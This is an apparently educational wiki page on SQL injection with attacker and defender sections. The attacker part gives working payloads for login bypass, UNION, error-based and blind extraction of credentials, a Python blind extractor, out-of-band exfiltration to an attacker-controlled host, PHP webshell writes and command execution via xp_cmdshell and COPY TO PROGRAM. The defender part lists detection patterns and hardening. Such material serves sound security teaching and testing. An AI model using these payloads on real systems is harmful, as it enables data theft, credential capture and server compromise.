SQL Injection (SQLi)
The application mixes your text into the query instead of passing it as a parameter:
"SELECT * FROM items WHERE id=" + id. With id = 1 OR 1=1 the condition stops filtering, and
from then on you control part of the statement. What you get depends on the engine and on
the privileges of the database account: from reading every table to writing files or
running commands on the server. The invariant it breaks is “user input is data, never
syntax”.
flowchart TD
D["Injection confirmed"] --> Q{"What does the app return?"}
Q -->|"renders the result"| U["UNION"]
Q -->|"reflects the DB error"| E["Error-based"]
Q -->|"changes between true and false"| B["Boolean blind"]
Q -->|"identical response"| T["Time-based blind"]
Q -->|"nothing, but the query runs"| O["Out-of-band"]
U --> X["Credentials, files, RCE depending on engine"]
E --> X
B --> X
T --> X
O --> X
Threat model
Section titled “Threat model”- Read: users, hashes, PII, configuration secrets, tokens.
- Authentication bypass: the login stops checking the password.
- Write: prices, roles, balances; depends on the query and on stacked queries.
- Files: read (
LOAD_FILE,pg_read_file) or write (INTO OUTFILE,ATTACH). - RCE:
xp_cmdshell(MSSQL),COPY ... TO PROGRAM(PostgreSQL), a webshell written from MySQL or SQLite. - Pivot: the DB server usually sits on an internal network; MSSQL also hands out the service account’s hash (see MSSQL in AD).
Anatomy
Section titled “Anatomy”The injectable value is not always in ?id=: it can be in paths (/users/3), cookies,
headers, JSON bodies and fields that are stored and reused later
(second order). You don’t know how the query is written, so first
you work out the context:
| Context | Example in the code | What you need |
|---|---|---|
| Numeric | WHERE id = 3 |
Nothing to close: 3 AND 1=2 |
| String | WHERE name = 'x' |
Close and rebalance: x' AND '1'='1 |
| Inside parentheses | WHERE (name = 'x') |
x') AND ('1'='1 |
| Identifier | ORDER BY name |
Can’t be parameterized: expression injection (ORDER BY) |
LIMIT / IN() |
LIMIT 10 / IN (1,2) |
Engine-dependent; often numeric only |
Engine differences
Section titled “Engine differences”| Engine | Comment | Concatenate | Version | Catalog |
|---|---|---|---|---|
| MySQL / MariaDB | -- - · # |
CONCAT(a,b) |
@@version |
information_schema |
| MSSQL | -- |
a + b |
@@version |
information_schema · sys.tables |
| PostgreSQL | -- |
a || b |
version() |
information_schema · pg_catalog |
| Oracle | -- |
a || b |
SELECT banner FROM v$version |
all_tables · all_tab_columns (FROM dual required) |
| SQLite | -- |
a || b |
sqlite_version() |
sqlite_master (columns inside the sql field) |
In MySQL, -- is only a comment when followed by a space. Write -- - so the space doesn’t get
lost at the end of a URL.
Stacked queries
Section titled “Stacked queries”Using ; to start a whole new statement. This is what opens up writes and almost every path to
RCE, and it depends on the engine and on the driver the application uses:
| Engine | Stacked | Note |
|---|---|---|
| MSSQL | Yes | The usual path to xp_cmdshell |
| PostgreSQL | Yes | COPY ... TO PROGRAM, creating functions |
| MySQL / MariaDB | Usually not | Yes if the app uses mysqli_multi_query or PDO with emulated prepares |
| SQLite | Depends on the code | Python’s execute() rejects more than one statement; executescript() accepts them |
| Oracle | No | Not in typical web contexts |
The results of the second statement don’t come back to the page: you confirm its effect through timing, errors or an external channel.
Variants
Section titled “Variants”| Type | Signal | Technique |
|---|---|---|
| In-band UNION | The app renders the result | Count columns → visible column → extract |
| In-band error-based | The DB error is reflected | A function that puts your data into the message |
| Boolean blind | The page changes between true and false | Yes/no questions, one character at a time |
| Time-based blind | Identical response | Conditional delay; you measure |
| Out-of-band | Nothing visible, but the query runs | The DB reaches out to you over DNS/SMB/HTTP |
| Second order | Stored safely, used unsafely in another query | Stored payload (own page) |
Red Team
Section titled “Red Team”Manual detection
Section titled “Manual detection”- Break it: a quote
'(or") causes an error, an empty page, a 500 or a different length. - Arithmetic on numeric values: if
?id=3-1returns the same as?id=2, the value is evaluated. - Boolean logic:
3 AND 1=1versus3 AND 1=2(numeric) orx' AND '1'='1versusx' AND '1'='2(string). - Comment: if
-- -brings back the normal response, you control the end of the query.
curl -s "https://app.tld/item?id=2" | wc -ccurl -s "https://app.tld/item?id=3-1" | wc -c # same as id=2: it's evaluatedcurl -sG https://app.tld/item --data-urlencode "id=2 AND 1=2" | wc -c # different: booleanAuthentication bypass
Section titled “Authentication bypass”Typical query: WHERE username = '<user>' AND password = '<pass>'. With ' OR 1=1-- - in the
username, everything after the comment disappears and the condition is true for every row. The
application usually takes the first one.
| Payload | When |
|---|---|
' OR 1=1-- - |
Tautology; the first row is often an admin |
admin'-- - |
You know the username; you drop the password check |
' OR '1'='1 (in the password) |
You can’t comment: close with balanced quotes |
' OR 1=1 LIMIT 1-- - |
The app requires exactly one row |
' OR username='admin'-- - |
The first row isn’t the one you want |
') OR ('1'='1 |
The condition is wrapped in parentheses |
AND binds tighter than OR: id=103 OR 1=1 AND dept=20 OR 1=1 is true because of the last
OR, not the first. If the login compares the hash in code instead of in the query, the
tautology isn’t enough: you need the returned row to carry a hash you know (with UNION).
UNION step by step
Section titled “UNION step by step”Rules: same number of columns in each SELECT and compatible types column by column. Pad extra
columns with NULL.
| Step | Payload | What you’re after |
|---|---|---|
| Count columns | ' ORDER BY 1-- - … increase N |
The last N without an error is the total |
| Alternative | ' UNION SELECT NULL,NULL-- - |
Add NULL until it stops failing |
| Visible column | ' UNION SELECT 'a','b'-- - |
Where each value renders and which accepts text |
| Engine | ' UNION SELECT NULL,@@version-- - |
Adjust the syntax |
| Tables | ' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()-- - |
Tables in the current DB |
| Columns | ' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- - |
Fields of the target table |
| Data | ' UNION SELECT NULL,CONCAT(username,0x3a,password) FROM users-- - |
user:hash |
- Only one row renders: aggregate with
GROUP_CONCAT(x SEPARATOR 0x0a)(MySQL),string_agg(x,',')(PostgreSQL),group_concat(x,',')(SQLite) or page withLIMIT 1 OFFSET n. - Make your row come first: invalidate the original one with
?id=-1 UNION ...or' AND 1=2 UNION .... - SQLite:
SELECT name, sql FROM sqlite_master WHERE type='table'returns each table with itsCREATEstatement, columns included. - A conversion error (
Conversion failed,invalid input syntax) means that column isn’t text.
Error-based
Section titled “Error-based”The application doesn’t render results but does reflect the error: you make the error message carry your data.
| Engine | Payload | Leaking message |
|---|---|---|
| MySQL / MariaDB | AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()))) |
XPATH syntax error: '~root@localhost' |
| PostgreSQL | AND 1=CAST((SELECT version()) AS int) |
invalid input syntax for type integer: "PostgreSQL 16..." |
| MSSQL | AND 1=CONVERT(int,(SELECT @@version)) |
Conversion failed when converting the nvarchar value '...' |
| SQLite | AND json_extract('{}',(SELECT group_concat(username||':'||password) FROM users)) |
bad JSON path: 'admin:...,bob:...' |
0x7eis~: it guarantees an invalid XPath, so the engine prints the whole string.- The
EXTRACTVALUEmessage is truncated to about 32 characters (MariaDB cuts earlier and adds...). One row per request and chunks withSUBSTRING(password,1,25),SUBSTRING(password,26,25)… - In SQLite a JSON path must start with
$; pass it a subquery and the error prints the whole result. Withgroup_concatyou get every credential in one request. - Oracle has functions with the same effect (
UTL_INADDR.GET_HOST_NAME, among others), but they depend on privileges and version: check on the target.
Boolean blind
Section titled “Boolean blind”The page changes between true and false (content, length, status code or redirect). That change is the oracle: write it down exactly before you automate anything.
' AND LENGTH((SELECT password FROM users WHERE username='admin'))=32-- -' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>109-- -The > comparison gives you binary search: about 7 requests per character instead of up to
95. In SQLite the functions are length(), substr() and unicode().
Start from a value that does return results (id=1, a product that exists): if the
original condition is already false, the engine never evaluates your AND and every response
looks “false”.
import requests
URL, OK = "https://app.tld/item", "Add to cart" # oracle: text of the true responseQ = "1 AND unicode(substr((SELECT password FROM users WHERE username='admin'),{},1))>{}"
def greater(pos, n): return OK in requests.get(URL, params={"id": Q.format(pos, n)}).text
out = ""for pos in range(1, 65): lo, hi = 32, 126 while lo < hi: # binary search over printable ASCII mid = (lo + hi) // 2 if greater(pos, mid): lo = mid + 1 else: hi = mid if lo == 32 and not greater(pos, 31): break # end of the string out += chr(lo); print(out)Writing your own extractor forces you to understand the oracle and lets you adapt when the automated tool fails or a WAF blocks it.
Time-based blind
Section titled “Time-based blind”If the page is identical in both cases, you make a delay conditional and measure it.
| Engine | Conditional delay | CPU-based alternative |
|---|---|---|
| MySQL | ' AND IF(1=1,SLEEP(5),0)-- - |
BENCHMARK(10000000,SHA1('a')) |
| PostgreSQL | ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL-- - |
A large generate_series |
| MSSQL | '; IF (1=1) WAITFOR DELAY '0:0:5'-- - |
Cartesian product of sys.all_objects |
| Oracle | dbms_pipe.receive_message('a',5) inside a CASE |
Cartesian product of all_objects |
| SQLite | No sleep function | A heavy query inside a CASE |
SQLite has no sleep: the delay comes from an expensive query, such as a WITH RECURSIVE over
millions of rows or a randomblob() of hundreds of MB. CASE only evaluates the branch it
picks, so the false branch returns immediately:
1 AND 1=(CASE WHEN (substr((SELECT password FROM users LIMIT 1),1,1)='s') THEN (WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n+1 FROM r WHERE n<3000000) SELECT count(*) FROM r) ELSE 1 END)As with boolean blind, the starting value (1) has to exist: otherwise the AND is never
evaluated and there’s never a delay.
ORDER BY injection
Section titled “ORDER BY injection”ORDER BY accepts neither UNION nor prepared parameters for the column name, but it does
accept expressions:
ORDER BY (CASE WHEN (SELECT substr(password,1,1) FROM users LIMIT 1)='a' THEN name ELSE email END)ORDER BY IF((SELECT ...)='a',SLEEP(5),0) -- MySQL, time-basedIn the first one, the oracle is the order of the returned table.
Out-of-band
Section titled “Out-of-band”The query runs, but the response doesn’t change reliably: you make the engine connect to your machine and put the data in the hostname or the path.
| Engine | Technique | Requirement |
|---|---|---|
| MSSQL | EXEC master..xp_dirtree '\\<your-ip>\share' |
Stacked queries; the service account goes out over SMB |
| MySQL | LOAD_FILE(CONCAT('\\\\',(SELECT ...),'.<your-domain>\\a')) |
Windows server only (UNC paths) and FILE privilege |
| PostgreSQL | dblink_connect('host='||(SELECT ...)||'.<your-domain> ...') or COPY ... TO PROGRAM 'nslookup ...' |
dblink extension, or the RCE privileges |
| Oracle | UTL_INADDR.GET_HOST_ADDRESS((SELECT ...)||'.<your-domain>') |
Privileges on the package and outbound network |
| SQLite | None | — |
Without a domain of your own, the channel is your IP: with MSSQL, xp_dirtree against an SMB
server you control (impacket-smbserver) captures the service account’s NetNTLMv2. Crack
it with hashcat (-m 5600) or use it in other
MSSQL in AD attacks.
From SQLi to RCE
Section titled “From SQLi to RCE”The jump depends on three things: the DB account’s privileges, being able to write somewhere something will execute it, and stacked queries when the path needs them.
MySQL / MariaDB: webshell with INTO OUTFILE
FILEprivilege and a permissivesecure_file_priv: empty = no restriction,NULL= disabled, a path = only there. Check it with@@secure_file_priv.- The
mysqldprocess must be able to write to the webroot, and you need to know the path.
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/s.php'-- -' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -MSSQL: xp_cmdshell
It ships disabled and it’s an advanced option: unless you enable show advanced options
first, sp_configure 'xp_cmdshell' fails.
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -'; EXEC xp_cmdshell 'whoami';-- -It requires sysadmin (or a configured proxy account). Commands run as the SQL Server service
account, which often holds SeImpersonatePrivilege: from there you escalate with
token abuse. With valid DB credentials, impacket-mssqlclient is
more convenient (enable_xp_cmdshell, xp_cmdshell whoami).
PostgreSQL: COPY ... TO PROGRAM
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out';-- -' UNION SELECT pg_read_file('/tmp/out'),NULL-- -Available since PostgreSQL 9.3. It requires stacked queries and superuser or, since
PostgreSQL 11, the pg_execute_server_program role. The command goes in quotes and runs as
the service user (postgres).
SQLite: ATTACH DATABASE
'; ATTACH DATABASE '/var/www/html/s.php' AS w; CREATE TABLE w.t (d text); INSERT INTO w.t VALUES ('<?php system($_GET["cmd"]); ?>');-- -It creates an SQLite file at that path; PHP ignores the binary bytes and runs the <?php block.
It requires stacked queries (the code uses executescript or similar) and write access to the
webroot.
Oracle: the path is longer and depends on privileges (user_sys_privs): Java procedures,
DBMS_SCHEDULER with executable jobs or EXTPROC. UTL_HTTP/UTL_TCP give you outbound
network access (OOB or SSRF), not direct RCE.
No RCE: crack the hashes from the dump (identify them first; see hashes and hashcat) and try reuse on SSH, SMB, WinRM or admin panels. With a CMS admin hash you get into the panel, and the template or plugin editor usually gives you execution.
Filter bypass
Section titled “Filter bypass”| Filter | How to get around it |
|---|---|
| Single quote | Numeric context, double quote if the engine accepts it, hex values (0x61646d696e) |
| Keywords in fixed lowercase | Mixed case: UnIoN SeLeCt |
| Spaces | /**/, %0a, parentheses: UNION(SELECT(1)) |
| Comments | The engine’s other style, or close with balanced quotes and parentheses |
= |
LIKE, BETWEEN, <>, IN |
| Decodes once | Double URL encoding |
For a real WAF, see WAF evasion.
- sqlmap:
-r request.txt(request saved from Burp),-p param,--dbms=sqlite,--technique=BEUST,--level/--risk,--dbs,-D db -T table --dump,--os-shell,--tamper. Pinning the parameter and engine cuts noise and time. ghauri: an alternative focused on blind injection.- Burp Repeater and Intruder to iterate by hand; Python +
requestsfor your own extractors. impacket-mssqlclientandimpacket-smbserverfor MSSQL and OOB over SMB.
Researcher workflow
Section titled “Researcher workflow”- Find inputs: parameters, paths, cookies, headers, JSON, fields that get reused.
- Confirm with breaking, arithmetic and boolean logic; work out the context.
- Identify the engine (comment syntax, concatenation, version functions).
- Pick the technique by signal: UNION → error → boolean → time → OOB.
- Pull the schema and credentials; document the exact oracle.
- Assess privileges: files, stacked queries, RCE.
- No RCE: crack and reuse credentials.
Impact and chaining
Section titled “Impact and chaining”Full dump, login bypass, hash theft and reuse, file reads that feed an LFI, webshell and RCE, the service account’s NetNTLMv2 and a pivot into the internal network. An SQLi on a secondary endpoint can compromise the whole platform.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- DBMS auditing (pgAudit, SQL Server Audit, MySQL/MariaDB audit plugin): alert on
UNION SELECT, queries againstinformation_schema/sqlite_masterfrom the application account,xp_cmdshell,sp_configure,COPY ... PROGRAM,INTO OUTFILE,LOAD_FILE,ATTACH. - Blind:
SLEEP/BENCHMARK/pg_sleep/WAITFOR, repeated latency anomalies, bursts of near-identical requests that only change one character or number. - OOB: outbound SMB, DNS or HTTP connections from the DB server.
- Errors: spikes of SQL errors or 500s after input with quotes and metacharacters.
- Files: new
.phpor.aspxfiles in the webroot created by the engine’s user.
Telemetry and sources
Section titled “Telemetry and sources”DB audit logs, application logs with the query template, WAF, egress from the data segment, APM for latency and integrity monitoring on the webroot.
Hardening
Section titled “Hardening”- Parameterized queries for all data access (the root fix). For dynamic identifiers
(
ORDER BY, table names), an allowlist. - Least privilege: no
FILE, nosysadmin, no superuser orpg_execute_server_program;xp_cmdshelldisabled;secure_file_privpointing to a directory outside the webroot. - Disable multi-statement queries in the driver if you don’t use them.
- Generic error messages for the user; details only in the log.
- DB server with no egress to the Internet and no outbound SMB.
- WAF as an extra layer, never the only one.
Response
Section titled “Response”Rotate exposed credentials and secrets, force password resets if hashes were dumped, hunt for
webshells and files written by the engine, review sp_configure and granted roles, fix the
injection point and deploy the detection rule.
CVEs and real cases
Section titled “CVEs and real cases”- CVE-2023-34362 (Progress MOVEit Transfer, 2023): unauthenticated SQLi mass-exploited by the Cl0p group to steal data from hundreds of organizations.
- CVE-2025-25257 (Fortinet FortiWeb, 2025): pre-authentication SQLi in the Fabric
Connector; public exploits turned it into RCE by writing a file with
INTO OUTFILEthat a CGI then executed. - TalkTalk (2015): SQLi on its website; data of about 157,000 customers and an ICO fine.
- Heartland Payment Systems (2008): an SQLi was the entry point of one of the largest card breaches in history.
Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Inputs found: parameters, paths, cookies, headers, JSON and reused fields.
- Injection confirmed (breaking, arithmetic, boolean) and context worked out.
- Engine identified.
- Technique picked by signal and oracle documented.
- Schema and credentials extracted with a minimal PoC.
- Stacked queries, files and RCE assessed against privileges.
- OOB tried if there’s no signal in the response.
- Impact documented without modifying or exfiltrating real data.
References
Section titled “References”- OWASP: SQL Injection Prevention Cheat Sheet
- OWASP WSTG: Testing for SQL Injection
- PortSwigger: SQL injection
- PortSwigger: SQL injection cheat sheet
- Microsoft Learn: xp_cmdshell server configuration option
- PostgreSQL: COPY · Predefined roles
- MySQL: secure_file_priv
- SQLite: ATTACH DATABASE · JSON functions
- NVD: CVE-2023-34362 · CVE-2025-25257
- sqlmap